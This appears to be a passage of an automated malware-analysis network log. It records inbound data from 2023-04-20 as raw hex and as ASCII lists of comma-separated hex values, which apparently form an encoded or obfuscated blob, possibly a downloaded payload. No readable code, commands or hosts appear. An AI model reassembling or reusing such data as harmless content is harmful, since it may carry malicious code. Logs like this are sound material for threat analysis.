2023-04-20 23:04:21 UTC	7213	IN	Data Raw: 35 2c 31 35 66 2c 66 65 2c 31 32 61 2c 61 65 2c 39 39 2c 31 33 64 2c 31 33 61 2c 34 66 2c 31 30 34 2c 31 34 63 2c 39 36 2c 31 34 33 2c 31 34 63 2c 31 32 33 2c 31 31 37 2c 64 64 2c 38 65 2c 61 39 2c 37 63 2c 31 30 39 2c 65 37 2c 64 33 2c 64 35 2c 31 34 32 2c 31 32 64 2c 39 34 2c 31 32 33 2c 31 31 37 2c 31 32 34 2c 61 36 2c 31 30 30 2c 31 30 62 2c 31 33 31 2c 37 64 2c 37 65 2c 31 32 62 2c 31 31 30 2c 63 35 2c 37 64 2c 38 66 2c 66 30 2c 65 61 2c 31 35 35 2c 62 39 2c 31 32 64 2c 31 32 33 2c 35 30 2c 31 30 37 2c 31 31 33 2c 65 34 2c 61 33 2c 31 30 34 2c 31 34 62 2c 31 36 37 2c 63 31 2c 31 35 34 2c 31 32 31 2c 37 61 2c 37 37 2c 66 34 2c 65 39 2c 36 31 2c 35 31 2c 62 63 2c 66 33 2c 33 39 2c 35 66 2c 35 66 2c 37 62 2c 63 32 2c 63 61 2c 63 64 2c 31 34 63 2c 36 31 Data Ascii: 5,15f,fe,12a,ae,99,13d,13a,4f,104,14c,96,143,14c,123,117,dd,8e,a9,7c,109,e7,d3,d5,142,12d,94,123,117,124,a6,100,10b,131,7d,7e,12b,110,c5,7d,8f,f0,ea,155,b9,12d,123,50,107,113,e4,a3,104,14b,167,c1,154,121,7a,77,f4,e9,61,51,bc,f3,39,5f,5f,7b,c2,ca,cd,14c,61
2023-04-20 23:04:21 UTC	7229	IN	Data Raw: 33 37 2c 66 63 2c 31 31 31 2c 66 65 2c 35 31 2c 36 31 2c 63 34 2c 31 31 34 2c 31 32 32 2c 39 39 2c 36 63 2c 31 31 36 2c 31 35 35 2c 62 62 2c 37 65 2c 63 31 2c 35 32 2c 31 30 34 2c 65 33 2c 31 31 35 2c 35 37 2c 39 34 2c 62 35 2c 31 31 61 2c 31 30 30 2c 62 65 2c 63 66 2c 64 66 2c 36 38 2c 61 35 2c 61 61 2c 62 64 2c 35 37 2c 66 64 2c 31 30 34 2c 66 65 2c 31 33 37 2c 36 30 2c 63 32 2c 31 31 34 2c 31 35 30 2c 39 39 2c 35 65 2c 31 31 36 2c 31 35 38 2c 62 62 2c 38 32 2c 63 31 2c 34 65 2c 31 30 34 2c 65 33 2c 31 31 35 2c 31 34 61 2c 39 33 2c 65 34 2c 31 31 61 2c 31 30 65 2c 62 65 2c 38 31 2c 64 66 2c 31 32 38 2c 61 34 2c 37 66 2c 62 64 2c 35 38 2c 66 64 2c 31 31 36 2c 66 65 2c 34 61 2c 36 31 2c 63 39 2c 31 31 34 2c 38 34 2c 39 61 2c 61 30 2c 31 31 36 2c 31 32 35 Data Ascii: 37,fc,111,fe,51,61,c4,114,122,99,6c,116,155,bb,7e,c1,52,104,e3,115,57,94,b5,11a,100,be,cf,df,68,a5,aa,bd,57,fd,104,fe,137,60,c2,114,150,99,5e,116,158,bb,82,c1,4e,104,e3,115,14a,93,e4,11a,10e,be,81,df,128,a4,7f,bd,58,fd,116,fe,4a,61,c9,114,84,9a,a0,116,125
2023-04-20 23:04:21 UTC	7245	IN	Data Raw: 34 38 2c 31 34 36 2c 31 36 35 2c 66 33 2c 36 30 2c 31 32 63 2c 31 36 63 2c 31 31 62 2c 34 64 2c 31 30 34 2c 37 30 2c 66 66 2c 36 33 2c 31 32 63 2c 31 35 38 2c 31 33 38 2c 37 39 2c 31 31 31 2c 31 34 33 2c 31 32 30 2c 39 36 2c 31 34 33 2c 31 34 63 2c 31 32 33 2c 35 30 2c 31 30 37 2c 31 34 65 2c 31 31 35 2c 36 33 2c 31 34 31 2c 31 36 34 2c 31 33 65 2c 34 38 2c 31 34 36 2c 31 36 35 2c 66 33 2c 36 30 2c 31 32 63 2c 31 36 63 2c 31 31 62 2c 34 64 2c 31 30 34 2c 37 30 2c 66 66 2c 36 33 2c 31 32 63 2c 31 35 38 2c 31 33 38 2c 37 39 2c 31 31 31 2c 31 34 33 2c 31 32 30 2c 39 36 2c 31 34 33 2c 31 34 63 2c 31 32 33 2c 35 30 2c 31 30 37 2c 31 34 65 2c 31 31 35 2c 36 33 2c 31 34 31 2c 31 36 34 2c 31 33 65 2c 34 38 2c 31 34 36 2c 31 36 35 2c 66 33 2c 36 30 2c 31 32 63 2c Data Ascii: 48,146,165,f3,60,12c,16c,11b,4d,104,70,ff,63,12c,158,138,79,111,143,120,96,143,14c,123,50,107,14e,115,63,141,164,13e,48,146,165,f3,60,12c,16c,11b,4d,104,70,ff,63,12c,158,138,79,111,143,120,96,143,14c,123,50,107,14e,115,63,141,164,13e,48,146,165,f3,60,12c,
2023-04-20 23:04:21 UTC	7261	IN	Data Raw: 39 30 2c 38 34 2c 37 37 2c 31 35 30 2c 31 34 63 2c 64 30 2c 37 32 2c 31 34 64 2c 36 31 2c 37 38 2c 36 65 2c 31 32 66 2c 31 31 31 2c 63 66 2c 37 61 2c 31 35 36 2c 35 35 2c 64 39 2c 37 64 2c 31 32 39 2c 62 62 2c 39 61 2c 38 65 2c 35 39 2c 36 32 2c 39 31 2c 38 30 2c 31 33 32 2c 34 63 2c 39 66 2c 38 30 2c 31 35 38 2c 31 31 35 2c 38 32 2c 37 37 2c 31 35 30 2c 31 30 36 2c 64 31 2c 37 32 2c 31 34 64 2c 36 31 2c 37 38 2c 36 65 2c 31 32 66 2c 66 34 2c 63 63 2c 37 61 2c 31 35 36 2c 31 32 62 2c 64 37 2c 37 64 2c 31 32 39 2c 37 31 2c 39 39 2c 38 65 2c 35 39 2c 38 31 2c 39 33 2c 38 30 2c 31 33 32 2c 34 63 2c 39 66 2c 38 30 2c 31 35 38 2c 39 30 2c 38 34 2c 37 37 2c 31 35 30 2c 38 62 2c 64 30 2c 37 32 2c 31 34 64 2c 36 31 2c 37 38 2c 36 65 2c 31 32 66 2c 37 34 2c 63 65 Data Ascii: 90,84,77,150,14c,d0,72,14d,61,78,6e,12f,111,cf,7a,156,55,d9,7d,129,bb,9a,8e,59,62,91,80,132,4c,9f,80,158,115,82,77,150,106,d1,72,14d,61,78,6e,12f,f4,cc,7a,156,12b,d7,7d,129,71,99,8e,59,81,93,80,132,4c,9f,80,158,90,84,77,150,8b,d0,72,14d,61,78,6e,12f,74,ce
2023-04-20 23:04:21 UTC	7277	IN	Data Raw: 66 2c 31 32 38 2c 31 36 62 2c 31 31 62 2c 35 31 2c 61 32 2c 37 30 2c 66 66 2c 36 32 2c 31 33 33 2c 31 35 34 2c 31 33 38 2c 38 30 2c 65 33 2c 31 34 32 2c 31 31 30 2c 39 38 2c 65 33 2c 31 34 62 2c 64 33 2c 34 66 2c 31 30 34 2c 31 35 32 2c 31 31 35 2c 36 34 2c 31 32 66 2c 36 35 2c 31 30 66 2c 34 61 2c 65 36 2c 31 36 36 2c 61 33 2c 35 66 2c 31 32 63 2c 31 36 63 2c 31 31 62 2c 34 63 2c 31 30 34 2c 37 30 2c 66 66 2c 36 32 2c 31 32 63 2c 31 35 38 2c 31 33 38 2c 37 61 2c 31 31 30 2c 31 33 66 2c 31 32 30 2c 39 62 2c 31 33 31 2c 31 34 64 2c 31 31 33 2c 34 65 2c 61 37 2c 31 34 66 2c 61 35 2c 36 32 2c 31 34 35 2c 31 36 33 2c 31 33 65 2c 34 34 2c 31 30 38 2c 31 36 35 2c 66 33 2c 35 66 2c 31 32 38 2c 31 36 62 2c 31 31 62 2c 35 31 2c 63 32 2c 37 30 2c 66 66 2c 36 32 2c Data Ascii: f,128,16b,11b,51,a2,70,ff,62,133,154,138,80,e3,142,110,98,e3,14b,d3,4f,104,152,115,64,12f,65,10f,4a,e6,166,a3,5f,12c,16c,11b,4c,104,70,ff,62,12c,158,138,7a,110,13f,120,9b,131,14d,113,4e,a7,14f,a5,62,145,163,13e,44,108,165,f3,5f,128,16b,11b,51,c2,70,ff,62,
2023-04-20 23:04:21 UTC	7293	IN	Data Raw: 2c 36 33 2c 31 32 63 2c 31 35 38 2c 31 33 38 2c 37 39 2c 31 31 31 2c 31 34 33 2c 31 32 30 2c 39 36 2c 31 34 33 2c 31 34 63 2c 31 32 33 2c 35 30 2c 31 30 37 2c 31 34 65 2c 31 31 35 2c 36 33 2c 31 34 31 2c 31 36 34 2c 31 33 65 2c 34 38 2c 31 34 36 2c 31 36 35 2c 66 33 2c 36 30 2c 31 32 63 2c 31 36 63 2c 31 31 62 2c 34 64 2c 31 30 34 2c 37 30 2c 66 66 2c 36 33 2c 31 32 63 2c 31 35 38 2c 31 33 38 2c 37 39 2c 31 31 31 2c 31 34 33 2c 31 32 30 2c 39 36 2c 31 34 33 2c 31 34 63 2c 31 32 33 2c 35 30 2c 31 30 37 2c 31 34 65 2c 31 31 35 2c 36 33 2c 31 34 31 2c 31 36 34 2c 31 33 65 2c 34 38 2c 31 34 36 2c 31 36 35 2c 66 33 2c 36 30 2c 31 32 63 2c 31 36 63 2c 31 31 62 2c 34 64 2c 31 30 34 2c 37 30 2c 66 66 2c 36 33 2c 31 32 63 2c 31 35 38 2c 31 33 38 2c 37 39 2c 31 31 Data Ascii: ,63,12c,158,138,79,111,143,120,96,143,14c,123,50,107,14e,115,63,141,164,13e,48,146,165,f3,60,12c,16c,11b,4d,104,70,ff,63,12c,158,138,79,111,143,120,96,143,14c,123,50,107,14e,115,63,141,164,13e,48,146,165,f3,60,12c,16c,11b,4d,104,70,ff,63,12c,158,138,79,11
2023-04-20 23:04:21 UTC	7309	IN	Data Raw: 2c 31 36 35 2c 66 33 2c 36 30 2c 31 32 63 2c 31 36 63 2c 31 31 62 2c 34 64 2c 31 30 34 2c 37 30 2c 66 66 2c 31 33 31 2c 38 64 2c 61 30 2c 31 32 36 2c 31 30 32 2c 66 63 2c 31 34 33 2c 31 32 30 2c 64 31 2c 31 31 36 2c 31 32 63 2c 37 31 2c 66 32 2c 33 32 2c 36 65 2c 31 32 66 2c 36 33 2c 31 34 31 2c 31 36 34 2c 31 33 65 2c 34 38 2c 31 34 36 2c 31 36 35 2c 66 33 2c 36 30 2c 31 32 63 2c 31 36 63 2c 31 31 62 2c 34 64 2c 31 30 34 2c 37 30 2c 66 66 2c 36 33 2c 31 32 63 2c 31 35 38 2c 31 33 38 2c 37 39 2c 31 31 31 2c 31 34 33 2c 31 32 30 2c 39 36 2c 31 34 33 2c 31 34 63 2c 31 32 33 2c 35 30 2c 31 30 37 2c 31 34 65 2c 31 31 35 2c 36 33 2c 31 34 31 2c 31 36 34 2c 31 33 65 2c 34 38 2c 31 34 36 2c 31 36 35 2c 66 33 2c 36 30 2c 31 32 63 2c 31 36 63 2c 31 31 62 2c 34 64 Data Ascii: ,165,f3,60,12c,16c,11b,4d,104,70,ff,131,8d,a0,126,102,fc,143,120,d1,116,12c,71,f2,32,6e,12f,63,141,164,13e,48,146,165,f3,60,12c,16c,11b,4d,104,70,ff,63,12c,158,138,79,111,143,120,96,143,14c,123,50,107,14e,115,63,141,164,13e,48,146,165,f3,60,12c,16c,11b,4d
2023-04-20 23:04:21 UTC	7325	IN	Data Raw: 61 65 2c 66 61 2c 65 35 2c 31 31 66 2c 31 30 63 2c 63 61 2c 66 34 2c 66 35 2c 31 33 66 2c 64 38 2c 31 33 39 2c 63 38 2c 31 31 61 2c 63 37 2c 31 33 62 2c 39 63 2c 31 30 63 2c 61 31 2c 31 30 31 2c 63 63 2c 65 63 2c 63 62 2c 31 31 32 2c 61 66 2c 65 35 2c 66 65 2c 31 33 34 2c 64 64 2c 66 38 2c 66 63 2c 31 31 65 2c 61 62 2c 66 64 2c 61 39 2c 31 33 64 2c 64 64 2c 66 36 2c 65 32 2c 33 38 2c 31 34 64 2c 31 36 33 2c 66 34 2c 31 33 33 2c 31 31 65 2c 31 34 39 2c 31 31 66 2c 36 35 2c 66 34 2c 31 36 36 2c 37 65 2c 34 66 2c 63 63 2c 31 30 33 2c 64 65 2c 38 33 2c 63 65 2c 31 34 38 2c 62 37 2c 64 30 2c 63 61 2c 31 31 64 2c 66 63 2c 31 30 62 2c 31 30 32 2c 39 62 2c 65 61 2c 62 62 2c 37 61 2c 37 39 2c 31 35 34 2c 31 30 31 2c 31 33 35 2c 36 61 2c 66 32 2c 35 37 2c 31 31 32 Data Ascii: ae,fa,e5,11f,10c,ca,f4,f5,13f,d8,139,c8,11a,c7,13b,9c,10c,a1,101,cc,ec,cb,112,af,e5,fe,134,dd,f8,fc,11e,ab,fd,a9,13d,dd,f6,e2,38,14d,163,f4,133,11e,149,11f,65,f4,166,7e,4f,cc,103,de,83,ce,148,b7,d0,ca,11d,fc,10b,102,9b,ea,bb,7a,79,154,101,135,6a,f2,57,112
2023-04-20 23:04:21 UTC	7341	IN	Data Raw: 2c 65 62 2c 39 64 2c 31 30 36 2c 31 34 31 2c 38 61 2c 66 61 2c 31 34 39 2c 31 32 31 2c 31 33 35 2c 61 62 2c 61 31 2c 65 65 2c 66 36 2c 31 33 31 2c 66 65 2c 62 64 2c 61 34 2c 64 30 2c 31 33 35 2c 31 34 64 2c 38 30 2c 38 34 2c 38 34 2c 62 62 2c 64 33 2c 35 63 2c 31 32 31 2c 31 36 30 2c 38 32 2c 31 32 62 2c 36 30 2c 31 34 39 2c 66 35 2c 37 33 2c 31 31 35 2c 31 31 31 2c 36 65 2c 61 39 2c 63 62 2c 36 37 2c 39 66 2c 36 36 2c 65 61 2c 66 35 2c 35 63 2c 39 37 2c 63 31 2c 31 35 31 2c 62 61 2c 62 35 2c 63 33 2c 36 61 2c 34 33 2c 31 30 32 2c 31 31 33 2c 63 37 2c 36 32 2c 66 61 2c 64 66 2c 31 31 31 2c 65 66 2c 65 31 2c 31 33 30 2c 39 36 2c 31 30 39 2c 66 62 2c 31 30 64 2c 38 31 2c 31 32 33 2c 39 35 2c 31 34 32 2c 31 33 63 2c 64 31 2c 31 34 30 2c 61 37 2c 31 31 66 2c Data Ascii: ,eb,9d,106,141,8a,fa,149,121,135,ab,a1,ee,f6,131,fe,bd,a4,d0,135,14d,80,84,84,bb,d3,5c,121,160,82,12b,60,149,f5,73,115,111,6e,a9,cb,67,9f,66,ea,f5,5c,97,c1,151,ba,b5,c3,6a,43,102,113,c7,62,fa,df,111,ef,e1,130,96,109,fb,10d,81,123,95,142,13c,d1,140,a7,11f,
2023-04-20 23:04:21 UTC	7357	IN	Data Raw: 2c 33 38 2c 39 30 2c 66 62 2c 65 64 2c 66 39 2c 31 31 33 2c 66 65 2c 31 32 39 2c 31 31 64 2c 66 34 2c 64 33 2c 61 65 2c 37 33 2c 63 66 2c 66 35 2c 31 30 30 2c 31 32 65 2c 37 64 2c 31 30 37 2c 63 35 2c 31 31 66 2c 63 64 2c 66 39 2c 31 32 35 2c 61 66 2c 38 65 2c 31 36 61 2c 31 35 31 2c 31 31 65 2c 39 37 2c 31 32 66 2c 36 66 2c 61 30 2c 36 64 2c 31 33 64 2c 31 33 36 2c 35 64 2c 36 35 2c 63 33 2c 31 33 62 2c 33 65 2c 66 31 2c 31 33 63 2c 63 34 2c 39 33 2c 64 37 2c 35 64 2c 31 34 66 2c 31 34 33 2c 63 64 2c 31 30 37 2c 31 31 30 2c 31 32 37 2c 31 31 63 2c 63 32 2c 38 66 2c 31 31 65 2c 61 30 2c 66 61 2c 31 33 36 2c 62 61 2c 34 63 2c 37 65 2c 36 66 2c 62 35 2c 31 30 36 2c 38 65 2c 38 62 2c 66 63 2c 34 65 2c 31 31 34 2c 62 38 2c 65 37 2c 64 30 2c 61 38 2c 64 65 2c Data Ascii: ,38,90,fb,ed,f9,113,fe,129,11d,f4,d3,ae,73,cf,f5,100,12e,7d,107,c5,11f,cd,f9,125,af,8e,16a,151,11e,97,12f,6f,a0,6d,13d,136,5d,65,c3,13b,3e,f1,13c,c4,93,d7,5d,14f,143,cd,107,110,127,11c,c2,8f,11e,a0,fa,136,ba,4c,7e,6f,b5,106,8e,8b,fc,4e,114,b8,e7,d0,a8,de,
2023-04-20 23:04:21 UTC	7373	IN	Data Raw: 31 34 31 2c 62 34 2c 31 33 61 2c 31 32 63 2c 31 35 64 2c 31 35 65 2c 66 61 2c 39 30 2c 31 32 30 2c 37 34 2c 36 65 2c 31 33 39 2c 64 32 2c 31 30 38 2c 36 61 2c 39 38 2c 33 38 2c 31 30 63 2c 31 33 30 2c 63 61 2c 31 30 65 2c 37 33 2c 61 35 2c 36 34 2c 66 34 2c 35 31 2c 31 36 34 2c 61 66 2c 31 34 30 2c 31 30 65 2c 64 37 2c 31 30 35 2c 36 66 2c 65 35 2c 61 30 2c 31 34 66 2c 39 34 2c 64 61 2c 65 39 2c 62 33 2c 63 65 2c 37 33 2c 31 33 30 2c 31 31 65 2c 66 31 2c 66 65 2c 31 32 32 2c 66 63 2c 66 30 2c 31 36 36 2c 64 63 2c 31 30 62 2c 63 37 2c 31 30 30 2c 31 30 38 2c 31 32 37 2c 36 66 2c 63 33 2c 31 32 62 2c 34 32 2c 31 33 31 2c 37 33 2c 31 31 32 2c 31 34 36 2c 65 62 2c 33 38 2c 39 38 2c 39 36 2c 31 30 37 2c 31 35 37 2c 31 33 65 2c 31 31 31 2c 36 61 2c 36 63 2c 61 Data Ascii: 141,b4,13a,12c,15d,15e,fa,90,120,74,6e,139,d2,108,6a,98,38,10c,130,ca,10e,73,a5,64,f4,51,164,af,140,10e,d7,105,6f,e5,a0,14f,94,da,e9,b3,ce,73,130,11e,f1,fe,122,fc,f0,166,dc,10b,c7,100,108,127,6f,c3,12b,42,131,73,112,146,eb,38,98,96,107,157,13e,111,6a,6c,a
2023-04-20 23:04:21 UTC	7389	IN	Data Raw: 2c 64 32 2c 36 31 2c 39 38 2c 35 39 2c 31 32 66 2c 61 33 2c 31 35 39 2c 31 36 32 2c 37 38 2c 36 64 2c 61 31 2c 31 30 36 2c 65 61 2c 37 34 2c 36 62 2c 31 31 62 2c 31 34 38 2c 64 36 2c 66 30 2c 62 31 2c 66 38 2c 31 32 63 2c 62 66 2c 31 30 61 2c 31 36 30 2c 31 32 64 2c 62 34 2c 62 38 2c 31 31 61 2c 31 35 62 2c 31 32 38 2c 37 64 2c 31 34 63 2c 31 31 65 2c 38 66 2c 38 35 2c 36 64 2c 38 33 2c 39 61 2c 37 63 2c 65 30 2c 38 63 2c 39 30 2c 62 66 2c 65 38 2c 31 31 63 2c 31 33 35 2c 31 31 66 2c 31 31 32 2c 36 61 2c 61 65 2c 31 33 61 2c 31 31 35 2c 61 33 2c 35 37 2c 31 33 39 2c 62 36 2c 64 61 2c 61 38 2c 31 34 37 2c 37 31 2c 63 33 2c 31 34 37 2c 39 61 2c 31 31 65 2c 63 64 2c 65 36 2c 62 65 2c 62 32 2c 31 32 37 2c 31 33 66 2c 31 33 35 2c 37 30 2c 37 35 2c 31 37 34 2c Data Ascii: ,d2,61,98,59,12f,a3,159,162,78,6d,a1,106,ea,74,6b,11b,148,d6,f0,b1,f8,12c,bf,10a,160,12d,b4,b8,11a,15b,128,7d,14c,11e,8f,85,6d,83,9a,7c,e0,8c,90,bf,e8,11c,135,11f,112,6a,ae,13a,115,a3,57,139,b6,da,a8,147,71,c3,147,9a,11e,cd,e6,be,b2,127,13f,135,70,75,174,
2023-04-20 23:04:21 UTC	7405	IN	Data Raw: 31 32 62 2c 31 36 31 2c 37 64 2c 61 35 2c 64 37 2c 35 63 2c 35 66 2c 31 32 30 2c 37 66 2c 65 31 2c 39 62 2c 66 33 2c 31 35 65 2c 63 35 2c 31 30 30 2c 63 66 2c 31 30 36 2c 31 30 30 2c 36 66 2c 31 36 32 2c 62 65 2c 31 33 39 2c 39 37 2c 39 66 2c 64 62 2c 35 38 2c 36 63 2c 64 63 2c 31 35 39 2c 31 36 61 2c 66 37 2c 65 36 2c 39 38 2c 31 35 35 2c 31 35 36 2c 66 33 2c 66 31 2c 39 64 2c 35 62 2c 39 31 2c 35 63 2c 31 31 36 2c 63 62 2c 65 30 2c 31 31 63 2c 64 64 2c 31 30 64 2c 31 34 39 2c 34 33 2c 31 31 37 2c 64 37 2c 61 61 2c 31 34 35 2c 65 30 2c 62 33 2c 38 63 2c 37 62 2c 65 38 2c 37 63 2c 31 35 30 2c 31 36 31 2c 62 30 2c 65 34 2c 35 37 2c 63 35 2c 31 36 66 2c 66 66 2c 38 65 2c 37 30 2c 63 64 2c 31 31 64 2c 36 64 2c 63 39 2c 61 36 2c 62 65 2c 38 65 2c 66 65 2c 36 Data Ascii: 12b,161,7d,a5,d7,5c,5f,120,7f,e1,9b,f3,15e,c5,100,cf,106,100,6f,162,be,139,97,9f,db,58,6c,dc,159,16a,f7,e6,98,155,156,f3,f1,9d,5b,91,5c,116,cb,e0,11c,dd,10d,149,43,117,d7,aa,145,e0,b3,8c,7b,e8,7c,150,161,b0,e4,57,c5,16f,ff,8e,70,cd,11d,6d,c9,a6,be,8e,fe,6
2023-04-20 23:04:21 UTC	7421	IN	Data Raw: 32 2c 31 36 31 2c 38 35 2c 39 65 2c 36 65 2c 35 63 2c 66 37 2c 31 30 62 2c 31 32 31 2c 36 35 2c 61 34 2c 36 35 2c 31 32 36 2c 65 66 2c 64 34 2c 31 32 62 2c 36 34 2c 31 33 38 2c 31 34 31 2c 65 65 2c 37 39 2c 38 31 2c 38 36 2c 38 66 2c 31 30 33 2c 39 30 2c 64 38 2c 31 30 30 2c 62 32 2c 65 30 2c 33 39 2c 65 33 2c 31 34 32 2c 62 66 2c 31 34 37 2c 39 30 2c 61 65 2c 31 33 39 2c 63 33 2c 31 30 63 2c 38 66 2c 31 33 66 2c 39 38 2c 61 30 2c 62 35 2c 35 33 2c 64 35 2c 38 30 2c 38 32 2c 39 37 2c 61 39 2c 31 30 63 2c 66 62 2c 35 34 2c 31 32 32 2c 65 36 2c 39 62 2c 64 31 2c 31 33 35 2c 31 34 31 2c 62 36 2c 31 32 62 2c 31 30 61 2c 31 34 35 2c 64 35 2c 31 35 62 2c 31 35 62 2c 31 34 66 2c 31 34 62 2c 63 30 2c 62 37 2c 37 33 2c 39 34 2c 31 30 30 2c 31 37 35 2c 31 36 33 2c Data Ascii: 2,161,85,9e,6e,5c,f7,10b,121,65,a4,65,126,ef,d4,12b,64,138,141,ee,79,81,86,8f,103,90,d8,100,b2,e0,39,e3,142,bf,147,90,ae,139,c3,10c,8f,13f,98,a0,b5,53,d5,80,82,97,a9,10c,fb,54,122,e6,9b,d1,135,141,b6,12b,10a,145,d5,15b,15b,14f,14b,c0,b7,73,94,100,175,163,
2023-04-20 23:04:21 UTC	7437	IN	Data Raw: 35 33 2c 64 64 2c 31 34 32 2c 66 30 2c 31 32 64 2c 31 34 34 2c 64 35 2c 31 32 36 2c 35 64 2c 31 32 35 2c 65 62 2c 65 64 2c 66 66 2c 64 39 2c 65 31 2c 38 35 2c 31 31 62 2c 31 30 30 2c 66 66 2c 61 32 2c 37 61 2c 63 64 2c 35 37 2c 63 63 2c 39 32 2c 63 30 2c 37 32 2c 31 31 62 2c 38 34 2c 37 37 2c 31 31 66 2c 31 31 37 2c 31 31 36 2c 31 35 63 2c 65 39 2c 62 65 2c 31 32 65 2c 65 38 2c 31 31 32 2c 65 30 2c 36 39 2c 36 39 2c 31 36 65 2c 38 62 2c 63 35 2c 35 31 2c 31 32 37 2c 31 33 36 2c 31 31 30 2c 38 35 2c 38 37 2c 61 61 2c 66 65 2c 37 65 2c 38 38 2c 66 34 2c 38 65 2c 39 34 2c 31 30 64 2c 63 62 2c 61 33 2c 62 66 2c 39 37 2c 65 33 2c 62 31 2c 65 63 2c 65 34 2c 61 34 2c 37 37 2c 31 36 34 2c 63 35 2c 38 34 2c 31 32 64 2c 31 33 33 2c 65 34 2c 31 33 34 2c 35 39 2c 31 Data Ascii: 53,dd,142,f0,12d,144,d5,126,5d,125,eb,ed,ff,d9,e1,85,11b,100,ff,a2,7a,cd,57,cc,92,c0,72,11b,84,77,11f,117,116,15c,e9,be,12e,e8,112,e0,69,69,16e,8b,c5,51,127,136,110,85,87,aa,fe,7e,88,f4,8e,94,10d,cb,a3,bf,97,e3,b1,ec,e4,a4,77,164,c5,84,12d,133,e4,134,59,1
2023-04-20 23:04:21 UTC	7453	IN	Data Raw: 2c 38 61 2c 39 33 2c 63 65 2c 62 36 2c 65 64 2c 31 33 35 2c 39 30 2c 38 35 2c 31 33 35 2c 65 38 2c 63 32 2c 38 33 2c 31 32 34 2c 31 34 62 2c 36 30 2c 36 64 2c 62 31 2c 39 61 2c 31 34 39 2c 61 65 2c 31 34 31 2c 64 37 2c 63 36 2c 39 34 2c 66 64 2c 36 64 2c 64 66 2c 36 39 2c 61 33 2c 37 34 2c 31 33 65 2c 62 37 2c 38 38 2c 61 62 2c 31 34 33 2c 36 38 2c 36 33 2c 38 63 2c 31 32 66 2c 31 30 32 2c 31 30 37 2c 64 64 2c 64 62 2c 38 39 2c 63 62 2c 65 39 2c 31 30 30 2c 64 64 2c 31 31 31 2c 61 61 2c 62 30 2c 39 31 2c 66 35 2c 62 66 2c 37 62 2c 63 37 2c 63 32 2c 66 38 2c 64 35 2c 35 31 2c 66 63 2c 31 32 37 2c 31 31 36 2c 31 31 62 2c 31 34 62 2c 34 36 2c 35 66 2c 63 66 2c 31 31 35 2c 31 35 30 2c 36 64 2c 62 32 2c 38 62 2c 31 33 36 2c 31 31 65 2c 31 33 63 2c 31 31 34 2c Data Ascii: ,8a,93,ce,b6,ed,135,90,85,135,e8,c2,83,124,14b,60,6d,b1,9a,149,ae,141,d7,c6,94,fd,6d,df,69,a3,74,13e,b7,88,ab,143,68,63,8c,12f,102,107,dd,db,89,cb,e9,100,dd,111,aa,b0,91,f5,bf,7b,c7,c2,f8,d5,51,fc,127,116,11b,14b,46,5f,cf,115,150,6d,b2,8b,136,11e,13c,114,
2023-04-20 23:04:21 UTC	7469	IN	Data Raw: 30 2c 66 37 2c 65 66 2c 62 32 2c 37 33 2c 35 33 2c 63 65 2c 31 34 34 2c 31 30 34 2c 63 39 2c 33 38 2c 63 64 2c 31 33 66 2c 34 35 2c 31 32 30 2c 37 37 2c 31 35 39 2c 31 31 62 2c 65 35 2c 33 35 2c 62 38 2c 31 30 34 2c 61 66 2c 64 37 2c 63 30 2c 31 33 35 2c 31 31 62 2c 34 34 2c 61 66 2c 31 32 33 2c 31 34 33 2c 31 34 65 2c 63 36 2c 38 64 2c 31 31 35 2c 31 32 39 2c 38 35 2c 64 61 2c 35 64 2c 31 31 38 2c 31 35 36 2c 63 36 2c 31 30 33 2c 38 38 2c 31 30 34 2c 32 66 2c 31 31 36 2c 31 31 61 2c 31 32 65 2c 38 33 2c 31 33 64 2c 39 38 2c 31 31 35 2c 35 31 2c 37 33 2c 38 33 2c 36 35 2c 31 35 61 2c 61 32 2c 63 62 2c 31 30 61 2c 31 31 31 2c 64 37 2c 31 33 35 2c 65 30 2c 61 63 2c 37 33 2c 62 33 2c 65 30 2c 37 63 2c 31 35 32 2c 63 31 2c 63 33 2c 39 64 2c 63 38 2c 31 35 32 Data Ascii: 0,f7,ef,b2,73,53,ce,144,104,c9,38,cd,13f,45,120,77,159,11b,e5,35,b8,104,af,d7,c0,135,11b,44,af,123,143,14e,c6,8d,115,129,85,da,5d,118,156,c6,103,88,104,2f,116,11a,12e,83,13d,98,115,51,73,83,65,15a,a2,cb,10a,111,d7,135,e0,ac,73,b3,e0,7c,152,c1,c3,9d,c8,152
2023-04-20 23:04:21 UTC	7485	IN	Data Raw: 2c 38 66 2c 63 63 2c 63 65 2c 35 64 2c 39 33 2c 65 65 2c 61 30 2c 31 35 62 2c 63 30 2c 39 36 2c 35 33 2c 62 64 2c 31 31 61 2c 36 65 2c 37 64 2c 64 65 2c 31 31 35 2c 31 31 31 2c 63 33 2c 37 33 2c 31 30 37 2c 37 65 2c 62 66 2c 65 63 2c 64 32 2c 31 31 64 2c 64 66 2c 62 31 2c 31 30 61 2c 65 37 2c 39 38 2c 31 30 34 2c 31 30 32 2c 37 39 2c 31 33 36 2c 63 31 2c 31 32 61 2c 37 39 2c 31 30 66 2c 31 36 30 2c 31 32 37 2c 31 31 65 2c 31 31 30 2c 65 30 2c 31 35 34 2c 37 61 2c 64 66 2c 62 65 2c 31 36 63 2c 39 37 2c 31 34 31 2c 34 33 2c 38 34 2c 63 36 2c 31 33 35 2c 65 65 2c 31 32 63 2c 65 62 2c 61 35 2c 33 66 2c 62 62 2c 61 66 2c 31 35 37 2c 31 36 36 2c 31 35 34 2c 31 32 38 2c 31 32 39 2c 61 61 2c 61 61 2c 37 38 2c 65 39 2c 31 33 37 2c 61 32 2c 31 30 31 2c 63 64 2c 37 Data Ascii: ,8f,cc,ce,5d,93,ee,a0,15b,c0,96,53,bd,11a,6e,7d,de,115,111,c3,73,107,7e,bf,ec,d2,11d,df,b1,10a,e7,98,104,102,79,136,c1,12a,79,10f,160,127,11e,110,e0,154,7a,df,be,16c,97,141,43,84,c6,135,ee,12c,eb,a5,3f,bb,af,157,166,154,128,129,aa,aa,78,e9,137,a2,101,cd,7
